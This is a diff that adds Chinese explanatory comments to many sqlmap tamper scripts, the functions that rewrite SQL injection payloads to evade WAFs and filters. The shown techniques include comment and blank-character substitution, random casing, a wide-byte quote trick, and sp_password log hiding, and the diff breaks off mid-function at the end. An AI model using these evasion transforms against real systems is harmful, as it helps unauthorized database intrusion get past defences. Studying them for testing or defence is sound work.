from lib.core.common import zeroDepthSearch from lib.core.common import zeroDepthSearch
from lib.core.compat import xrange from lib.core.compat import xrange
@ -17,6 +18,7 @@ from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
def dependencies(): def dependencies():
# 显示单次警告消息告知用户这个tamper脚本只针对Microsoft SQL Server数据库
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL))
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
@ -43,22 +45,26 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
if payload: if payload:
# 使用正则表达式搜索payload中由'+'连接的CHAR()函数或单引号字符串
match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal) match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal)
if match: if match:
old = match.group(0) old = match.group(0)
parts = [] parts = []
last = 0 last = 0
# 使用zeroDepthSearch函数找到所有的'+'字符位置
for index in zeroDepthSearch(old, '+'): for index in zeroDepthSearch(old, '+'):
# 将每个'+'字符之间的部分作为单独的部分存储
parts.append(old[last:index].strip('+')) parts.append(old[last:index].strip('+'))
last = index last = index
# 将最后一个'+'字符之后的部分也加入到parts列表中
parts.append(old[last:].strip('+')) parts.append(old[last:].strip('+'))
replacement = parts[0] replacement = parts[0]
# 遍历parts列表构造{fn CONCAT()}函数的嵌套调用
for i in xrange(1, len(parts)): for i in xrange(1, len(parts)):
replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i]) replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i])
# 将原始的由'+'连接的部分替换为{fn CONCAT()}函数
retVal = retVal.replace(old, replacement) retVal = retVal.replace(old, replacement)
return retVal return retVal

@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
import re import re
# 从sqlmap的库中导入随机范围函数、兼容模块中的xrange函数、知识库和优先级枚举
from lib.core.common import randomRange from lib.core.common import randomRange
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.data import kb from lib.core.data import kb
@ -48,19 +49,22 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
if payload: if payload:
# 使用正则表达式找到payload中的所有关键字至少两个字母或下划线的单词
for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal): for match in re.finditer(r"\b[A-Za-z_]{2,}\b", retVal):
word = match.group() word = match.group()
# 如果单词是SQL关键字并且不是被引号或括号包围的或者是一个函数名
if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload: if (word.upper() in kb.keywords and re.search(r"(?i)[`\"'\[]%s[`\"'\]]" % word, retVal) is None) or ("%s(" % word) in payload:
# 生成一个随机大小写混合的单词
while True: while True:
_ = "" _ = ""
for i in xrange(len(word)): for i in xrange(len(word)):
# 随机选择大写或小写
_ += word[i].upper() if randomRange(0, 1) else word[i].lower() _ += word[i].upper() if randomRange(0, 1) else word[i].lower()
# 确保生成的单词不是全大写或全小写,并退出循环
if len(_) > 1 and _ not in (_.lower(), _.upper()): if len(_) > 1 and _ not in (_.lower(), _.upper()):
break break
# 将原始的单词替换为随机大小写混合的单词
retVal = retVal.replace(word, _) retVal = retVal.replace(word, _)
return retVal return retVal

@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
import re import re
# 从sqlmap的库中导入随机范围函数、兼容模块中的xrange函数、知识库和优先级枚举
from lib.core.common import randomRange from lib.core.common import randomRange
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.data import kb from lib.core.data import kb
@ -27,24 +28,28 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
if payload: if payload:
# 使用正则表达式找到payload中的所有单词至少一个字母或下划线
for match in re.finditer(r"\b[A-Za-z_]+\b", payload): for match in re.finditer(r"\b[A-Za-z_]+\b", payload):
word = match.group() word = match.group()
# 跳过长度小于2的单词
if len(word) < 2: if len(word) < 2:
continue continue
# 如果单词是SQL关键字
if word.upper() in kb.keywords: if word.upper() in kb.keywords:
_ = word[0] _ = word[0] # 从单词的第一个字符开始构造新的字符串
# 遍历单词的每个字符(除了第一个和最后一个)
for i in xrange(1, len(word) - 1): for i in xrange(1, len(word) - 1):
# 随机决定是否插入注释
_ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i]) _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i])
# 添加单词的最后一个字符
_ += word[-1] _ += word[-1]
# 如果没有插入任何注释,则随机选择一个位置插入注释
if "/**/" not in _: if "/**/" not in _:
index = randomRange(1, len(word) - 1) index = randomRange(1, len(word) - 1)
_ = word[:index] + "/**/" + word[index:] _ = word[:index] + "/**/" + word[index:]
# 将原始的单词替换为插入了注释的新字符串
retVal = retVal.replace(word, _) retVal = retVal.replace(word, _)
return retVal return retVal

@ -27,5 +27,6 @@ def tamper(payload, **kwargs):
>>> tamper('SELECT id FROM testdb.users') >>> tamper('SELECT id FROM testdb.users')
'SELECT id FROM testdb 9.e.users' 'SELECT id FROM testdb 9.e.users'
""" """
# 如果payload不为空则使用正则表达式替换FROM后面数据库表名的点操作符为一个空格加上'9.e.'
# 这是一种绕过某些WAF规则的技术通过插入一个看似无害的字符串'9.e.'来分割数据库名和表名
return re.sub(r"(?i)( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload) if payload else payload return re.sub(r"(?i)( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload) if payload else payload

@ -29,7 +29,9 @@ def tamper(payload, **kwargs):
""" """
if payload: if payload:
# 将闭合括号、逗号、点、星号、正斜杠、反斜杠、竖线、位运算符和逻辑运算符替换为" 1.e" + 原字符
payload = re.sub(r"[),.*^/|&]", r" 1.e\g<0>", payload) payload = re.sub(r"[),.*^/|&]", r" 1.e\g<0>", payload)
# 将函数名后跟左括号替换为" 函数名 1.e("除非函数名是MID、CAST、FROM、COUNT
payload = re.sub(r"(\w+)\(", lambda match: "%s 1.e(" % match.group(1) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload) # NOTE: MID and CAST don't work for sure payload = re.sub(r"(\w+)\(", lambda match: "%s 1.e(" % match.group(1) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload) # NOTE: MID and CAST don't work for sure
# 返回修改后的payload
return payload return payload

@ -34,6 +34,7 @@ def tamper(payload, **kwargs):
""" """
if payload: if payload:
# 将payload中的'SLEEP('替换为'GET_LOCK('%s',,其中'%s'会被kb.aliasName替换
payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName) payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName)
return payload return payload

@ -27,6 +27,9 @@ def tamper(payload, **kwargs):
retVal = "" retVal = ""
if payload: if payload:
# 构造返回的payload字符串
# 如果payload中已经包含注释符号('#'或'--')则直接添加sp_password函数
# 否则在sp_password前添加一个'-- '作为注释
retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "") retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")
return retVal return retVal

@ -4,7 +4,7 @@
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 从sqlmap的库中导入兼容模块中的xrange函数和优先级枚举
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
@ -33,26 +33,28 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
if payload: if payload:
retVal = "" retVal = "" # 初始化引号状态标记
quote, doublequote, firstspace = False, False, False quote, doublequote, firstspace = False, False, False
# 遍历payload中的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果是第一个空格且之前没有遇到过空格
if not firstspace: if not firstspace:
if payload[i].isspace(): if payload[i].isspace():
firstspace = True firstspace = True
retVal += "/**/" retVal += "/**/"
continue continue
# 如果是单引号
elif payload[i] == '\'': elif payload[i] == '\'':
quote = not quote quote = not quote
# 如果是双引号
elif payload[i] == '"': elif payload[i] == '"':
doublequote = not doublequote doublequote = not doublequote
# 如果是空格且之前没有遇到过双引号和单引号
elif payload[i] == " " and not doublequote and not quote: elif payload[i] == " " and not doublequote and not quote:
retVal += "/**/" retVal += "/**/"
continue continue
# 添加当前字符到retVal
retVal += payload[i] retVal += payload[i]
return retVal return retVal

@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
import random import random
import string import string
# 从sqlmap的库中导入兼容模块中的xrange函数和优先级枚举
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
@ -34,14 +35,25 @@ def tamper(payload, **kwargs):
retVal = "" retVal = ""
if payload: if payload:
# 遍历payload中的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果当前字符是空格
if payload[i].isspace(): if payload[i].isspace():
# 生成一个随机字符串
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
# 将随机字符串和换行符添加到retVal中
retVal += "--%s%%0A" % randomStr retVal += "--%s%%0A" % randomStr
# 如果当前字符是#或者#后面跟着两个空格
# 如果payload[i]等于#或者payload[i:i + 3]等于--
elif payload[i] == '#' or payload[i:i + 3] == '-- ': elif payload[i] == '#' or payload[i:i + 3] == '-- ':
# 将payload[i:]添加到retVal中
retVal += payload[i:] retVal += payload[i:]
# 跳出循环
break break
# 否则将payload[i]添加到retVal中
else: else:
retVal += payload[i] retVal += payload[i]
# 返回retVal
return retVal return retVal

@ -16,7 +16,9 @@ from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.LOW
# 定义一个函数,用于检查脚本依赖
def dependencies(): def dependencies():
# 输出警告信息提示脚本只能运行在MySQL数据库上
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
@ -41,15 +43,26 @@ def tamper(payload, **kwargs):
retVal = "" retVal = ""
# 如果payload不为空
if payload: if payload:
# 遍历payload的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果字符是空格
if payload[i].isspace(): if payload[i].isspace():
# 生成一个随机字符串
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
# 将随机字符串添加到retVal中
retVal += "%%23%s%%0A" % randomStr retVal += "%%23%s%%0A" % randomStr
# 如果字符是#或者字符是--
elif payload[i] == '#' or payload[i:i + 3] == '-- ': elif payload[i] == '#' or payload[i:i + 3] == '-- ':
# 将payload的剩余部分添加到retVal中
retVal += payload[i:] retVal += payload[i:]
# 跳出循环
break break
# 否则
else: else:
# 将字符添加到retVal中
retVal += payload[i] retVal += payload[i]
# 返回retVal
return retVal return retVal

@ -33,23 +33,29 @@ def tamper(payload, **kwargs):
retVal = "" retVal = ""
quote, doublequote, firstspace = False, False, False quote, doublequote, firstspace = False, False, False
# 遍历payload中的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果第一个字符不是空格则将firstspace设置为True并将retVal添加"/**_**/"
if not firstspace: if not firstspace:
if payload[i].isspace(): if payload[i].isspace():
firstspace = True firstspace = True
retVal += "/**_**/" retVal += "/**_**/"
continue continue
# 如果字符是单引号则将quote取反
elif payload[i] == '\'': elif payload[i] == '\'':
quote = not quote quote = not quote
# 如果字符是双引号则将doublequote取反
elif payload[i] == '"': elif payload[i] == '"':
doublequote = not doublequote doublequote = not doublequote
# 如果字符是空格且不是在双引号或单引号中则将retVal添加"/**_**/"
elif payload[i] == " " and not doublequote and not quote: elif payload[i] == " " and not doublequote and not quote:
retVal += "/**_**/" retVal += "/**_**/"
continue continue
# 将字符添加到retVal中
retVal += payload[i] retVal += payload[i]
return retVal return retVal

@ -20,6 +20,10 @@ from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.LOW
def dependencies(): def dependencies():
"""
检查是否满足脚本运行的条件
"""
# 输出警告信息提示tamper脚本只适用于MySQL版本大于5.1.13
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
@ -43,9 +47,13 @@ def tamper(payload, **kwargs):
""" """
def process(match): def process(match):
"""
处理匹配到的单词
"""
word = match.group('word') word = match.group('word')
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
# 如果匹配到的单词在关键词列表中,并且不在忽略空格影响的关键词列表中,则替换为随机字符串
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr)) return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
else: else:
@ -53,16 +61,21 @@ def tamper(payload, **kwargs):
retVal = "" retVal = ""
# 如果payload存在则进行替换
if payload: if payload:
payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, payload) payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, payload)
# 遍历payload中的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果字符是空格,则替换为随机字符串
if payload[i].isspace(): if payload[i].isspace():
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12))) randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
retVal += "%%23%s%%0A" % randomStr retVal += "%%23%s%%0A" % randomStr
# 如果字符是#或者字符是--则将payload中剩余的字符添加到retVal中并跳出循环
elif payload[i] == '#' or payload[i:i + 3] == '-- ': elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:] retVal += payload[i:]
break break
# 否则将字符添加到retVal中
else: else:
retVal += payload[i] retVal += payload[i]

@ -8,14 +8,20 @@ See the file 'LICENSE' for copying permission
import os import os
import random import random
# 导入lib.core.common模块中的singleTimeWarnMessage函数
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
# 导入lib.core.compat模块中的xrange函数
from lib.core.compat import xrange from lib.core.compat import xrange
# 导入lib.core.enums模块中的DBMS枚举
from lib.core.enums import DBMS from lib.core.enums import DBMS
# 导入lib.core.enums模块中的PRIORITY枚举
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.LOW
# 定义一个函数,用于检查脚本依赖
def dependencies(): def dependencies():
# 输出警告信息,说明该脚本只能用于特定数据库
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL))
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
@ -53,29 +59,38 @@ def tamper(payload, **kwargs):
# CR 0D carriage return # CR 0D carriage return
# SO 0E shift out # SO 0E shift out
# SI 0F shift in # SI 0F shift in
# 定义一个元组,包含一些字符串
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A') blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
# 将payload赋值给retVal
retVal = payload retVal = payload
if payload: if payload:
retVal = "" retVal = ""
quote, doublequote, firstspace, end = False, False, False, False quote, doublequote, firstspace, end = False, False, False, False
# 遍历payload中的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果当前字符不是空格则将firstspace设置为True
if not firstspace: if not firstspace:
if payload[i].isspace(): if payload[i].isspace():
firstspace = True firstspace = True
# 在retVal中添加一个随机选择的空格
retVal += random.choice(blanks) retVal += random.choice(blanks)
continue continue
# 如果当前字符是单引号则将quote取反
elif payload[i] == '\'': elif payload[i] == '\'':
quote = not quote quote = not quote
# 如果当前字符是双引号则将doublequote取反
elif payload[i] == '"': elif payload[i] == '"':
doublequote = not doublequote doublequote = not doublequote
# 如果当前字符是#或者--则将end设置为True
elif payload[i] == '#' or payload[i:i + 3] == '-- ': elif payload[i] == '#' or payload[i:i + 3] == '-- ':
end = True end = True
# 如果当前字符是空格且不是在双引号或单引号中则根据end的值添加一个随机选择的空格
elif payload[i] == " " and not doublequote and not quote: elif payload[i] == " " and not doublequote and not quote:
if end: if end:
retVal += random.choice(blanks[:-1]) retVal += random.choice(blanks[:-1])
@ -84,6 +99,7 @@ def tamper(payload, **kwargs):
continue continue
# 将当前字符添加到retVal中
retVal += payload[i] retVal += payload[i]
return retVal return retVal

@ -27,14 +27,24 @@ def tamper(payload, **kwargs):
retVal = "" retVal = ""
# 如果payload不为空
if payload: if payload:
# 遍历payload的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果字符是空格
if payload[i].isspace(): if payload[i].isspace():
# 将%23%0A添加到retVal中
retVal += "%23%0A" retVal += "%23%0A"
# 如果字符是#或者字符是--
elif payload[i] == '#' or payload[i:i + 3] == '-- ': elif payload[i] == '#' or payload[i:i + 3] == '-- ':
# 将payload的剩余部分添加到retVal中
retVal += payload[i:] retVal += payload[i:]
# 跳出循环
break break
# 否则
else: else:
# 将字符添加到retVal中
retVal += payload[i] retVal += payload[i]
# 返回retVal
return retVal return retVal

@ -43,30 +43,50 @@ def tamper(payload, **kwargs):
# CR 0D carriage return # CR 0D carriage return
# VT 0B vertical TAB (MySQL and Microsoft SQL Server only) # VT 0B vertical TAB (MySQL and Microsoft SQL Server only)
# A0 non-breaking space # A0 non-breaking space
# 定义一个包含特殊字符的元组
blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0') blanks = ('%09', '%0A', '%0C', '%0D', '%0B', '%A0')
# 将payload赋值给retVal
retVal = payload retVal = payload
# 如果payload不为空
if payload: if payload:
# 将retVal置为空字符串
retVal = "" retVal = ""
# 定义三个布尔变量,分别表示是否在引号内、双引号内和第一个空格
quote, doublequote, firstspace = False, False, False quote, doublequote, firstspace = False, False, False
# 遍历payload的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果第一个空格为假
if not firstspace: if not firstspace:
# 如果当前字符是空格
if payload[i].isspace(): if payload[i].isspace():
# 将第一个空格置为真
firstspace = True firstspace = True
# 将一个随机选择的特殊字符添加到retVal中
retVal += random.choice(blanks) retVal += random.choice(blanks)
# 继续下一次循环
continue continue
# 如果当前字符是单引号
elif payload[i] == '\'': elif payload[i] == '\'':
# 将quote取反
quote = not quote quote = not quote
# 如果当前字符是双引号
elif payload[i] == '"': elif payload[i] == '"':
# 将doublequote取反
doublequote = not doublequote doublequote = not doublequote
# 如果当前字符是空格,且不在双引号内和单引号内
elif payload[i] == " " and not doublequote and not quote: elif payload[i] == " " and not doublequote and not quote:
# 将一个随机选择的特殊字符添加到retVal中
retVal += random.choice(blanks) retVal += random.choice(blanks)
# 继续下一次循环
continue continue
# 将当前字符添加到retVal中
retVal += payload[i] retVal += payload[i]
# 返回retVal
return retVal return retVal

@ -7,14 +7,20 @@ See the file 'LICENSE' for copying permission
import os import os
# 从lib.core.common模块中导入singleTimeWarnMessage函数
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
# 从lib.core.compat模块中导入xrange函数
from lib.core.compat import xrange from lib.core.compat import xrange
# 从lib.core.enums模块中导入DBMS枚举和PRIORITY枚举
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
# 设置脚本的优先级为LOW
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.LOW
# 定义dependencies函数用于检查脚本依赖
def dependencies(): def dependencies():
# 输出警告信息说明该脚本只能用于MySQL数据库
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
@ -34,14 +40,24 @@ def tamper(payload, **kwargs):
retVal = "" retVal = ""
# 如果payload不为空
if payload: if payload:
# 遍历payload的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果字符是空格
if payload[i].isspace(): if payload[i].isspace():
# 将"--%0A"添加到retVal中
retVal += "--%0A" retVal += "--%0A"
# 如果字符是#或者字符是--
elif payload[i] == '#' or payload[i:i + 3] == '-- ': elif payload[i] == '#' or payload[i:i + 3] == '-- ':
# 将payload的剩余部分添加到retVal中
retVal += payload[i:] retVal += payload[i:]
# 跳出循环
break break
# 否则
else: else:
# 将字符添加到retVal中
retVal += payload[i] retVal += payload[i]
# 返回retVal
return retVal return retVal

@ -5,11 +5,14 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入xrange和PRIORITY
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
# 定义优先级为LOW
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.LOW
# 定义依赖函数
def dependencies(): def dependencies():
pass pass
@ -27,27 +30,35 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
# 如果payload不为空
if payload: if payload:
retVal = "" retVal = ""
quote, doublequote, firstspace = False, False, False quote, doublequote, firstspace = False, False, False
# 遍历payload的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果第一个字符不是空格
if not firstspace: if not firstspace:
# 如果当前字符是空格
if payload[i].isspace(): if payload[i].isspace():
firstspace = True firstspace = True
retVal += "+" retVal += "+"
continue continue
# 如果当前字符是单引号
elif payload[i] == '\'': elif payload[i] == '\'':
quote = not quote quote = not quote
# 如果当前字符是双引号
elif payload[i] == '"': elif payload[i] == '"':
doublequote = not doublequote doublequote = not doublequote
# 如果当前字符是空格,并且不在双引号和单引号中
elif payload[i] == " " and not doublequote and not quote: elif payload[i] == " " and not doublequote and not quote:
retVal += "+" retVal += "+"
continue continue
# 将当前字符添加到retVal中
retVal += payload[i] retVal += payload[i]
return retVal return retVal

@ -38,30 +38,50 @@ def tamper(payload, **kwargs):
# LF 0A new line # LF 0A new line
# FF 0C new page # FF 0C new page
# CR 0D carriage return # CR 0D carriage return
# 定义一个包含特殊字符的列表
blanks = ("%09", "%0A", "%0C", "%0D") blanks = ("%09", "%0A", "%0C", "%0D")
# 将payload赋值给retVal
retVal = payload retVal = payload
# 如果payload不为空
if payload: if payload:
# 将retVal置为空字符串
retVal = "" retVal = ""
# 定义三个布尔变量,分别表示是否在引号内、双引号内和第一个空格
quote, doublequote, firstspace = False, False, False quote, doublequote, firstspace = False, False, False
# 遍历payload的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果第一个字符不是空格
if not firstspace: if not firstspace:
# 如果当前字符是空格
if payload[i].isspace(): if payload[i].isspace():
# 将firstspace置为True
firstspace = True firstspace = True
# 在retVal中添加一个随机选择的特殊字符
retVal += random.choice(blanks) retVal += random.choice(blanks)
# 继续下一次循环
continue continue
# 如果当前字符是单引号
elif payload[i] == '\'': elif payload[i] == '\'':
# 将quote取反
quote = not quote quote = not quote
# 如果当前字符是双引号
elif payload[i] == '"': elif payload[i] == '"':
# 将doublequote取反
doublequote = not doublequote doublequote = not doublequote
# 如果当前字符是空格,且不在双引号和单引号内
elif payload[i] == ' ' and not doublequote and not quote: elif payload[i] == ' ' and not doublequote and not quote:
# 在retVal中添加一个随机选择的特殊字符
retVal += random.choice(blanks) retVal += random.choice(blanks)
# 继续下一次循环
continue continue
# 将当前字符添加到retVal中
retVal += payload[i] retVal += payload[i]
# 返回retVal
return retVal return retVal

@ -32,16 +32,26 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
# 如果payload不为空
if payload: if payload:
# 在payload中查找SUBSTRING函数
match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload) match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload)
# 如果找到了SUBSTRING函数
if match: if match:
# 获取SUBSTRING函数中的位置参数
pos = int(match.group(2)) pos = int(match.group(2))
# 如果位置参数为1
if pos == 1: if pos == 1:
# 将SUBSTRING函数替换为LEFT函数
_ = "LEFT(%s,1)" % (match.group(1)) _ = "LEFT(%s,1)" % (match.group(1))
# 否则
else: else:
# 将SUBSTRING函数替换为RIGHT和LEFT函数的组合
_ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos) _ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos)
# 将替换后的函数替换回payload中
retVal = retVal.replace(match.group(0), _) retVal = retVal.replace(match.group(0), _)
# 返回替换后的payload
return retVal return retVal

@ -5,12 +5,16 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入正则表达式模块
import re import re
# 从lib.core.enums模块中导入PRIORITY枚举
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
# 定义最低优先级
__priority__ = PRIORITY.LOWEST __priority__ = PRIORITY.LOWEST
# 定义依赖函数
def dependencies(): def dependencies():
pass pass
@ -24,6 +28,7 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
# 如果payload不为空则将payload中的AND替换为%26%26将OR替换为%7C%7C
if payload: if payload:
retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload)) retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))

@ -7,11 +7,14 @@ See the file 'LICENSE' for copying permission
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
# 设置优先级为最高
__priority__ = PRIORITY.HIGHEST __priority__ = PRIORITY.HIGHEST
# 定义依赖函数
def dependencies(): def dependencies():
pass pass
# 定义tamper函数用于替换payload中的UNION ALL SELECT为UNION SELECT
def tamper(payload, **kwargs): def tamper(payload, **kwargs):
""" """
Replaces instances of UNION ALL SELECT with UNION SELECT counterpart Replaces instances of UNION ALL SELECT with UNION SELECT counterpart
@ -20,4 +23,5 @@ def tamper(payload, **kwargs):
'-1 UNION SELECT' '-1 UNION SELECT'
""" """
# 如果payload存在则替换其中的UNION ALL SELECT为UNION SELECT
return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload

@ -31,23 +31,38 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
# 如果payload不为空
if payload: if payload:
found = False found = False
retVal = "" retVal = ""
# 遍历payload中的每个字符
for i in xrange(len(payload)): for i in xrange(len(payload)):
# 如果字符为单引号且found为False
if payload[i] == '\'' and not found: if payload[i] == '\'' and not found:
# 将%bf%27添加到retVal中
retVal += "%bf%27" retVal += "%bf%27"
# 将found设置为True
found = True found = True
else: else:
# 将字符添加到retVal中
retVal += payload[i] retVal += payload[i]
# 继续循环
continue continue
# 如果found为True
if found: if found:
# 使用正则表达式替换retVal中的内容
_ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal) _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
# 如果替换后的内容与retVal不同
if _ != retVal: if _ != retVal:
# 将替换后的内容赋值给retVal
retVal = _ retVal = _
# 将-- -添加到retVal中
retVal += "-- -" retVal += "-- -"
# 如果retVal中不包含#、--、/*中的任意一个
elif not any(_ in retVal for _ in ('#', '--', '/*')): elif not any(_ in retVal for _ in ('#', '--', '/*')):
# 将-- -添加到retVal中
retVal += "-- -" retVal += "-- -"
# 返回retVal
return retVal return retVal

@ -36,11 +36,17 @@ def tamper(payload, **kwargs):
retVal = payload retVal = payload
# 如果payload不为空
if payload: if payload:
# 在retVal中查找所有匹配[A-Za-z_]的正则表达式
for match in re.finditer(r"[A-Za-z_]+", retVal): for match in re.finditer(r"[A-Za-z_]+", retVal):
# 获取匹配的单词
word = match.group() word = match.group()
# 如果单词的大写形式在kb.keywords中
if word.upper() in kb.keywords: if word.upper() in kb.keywords:
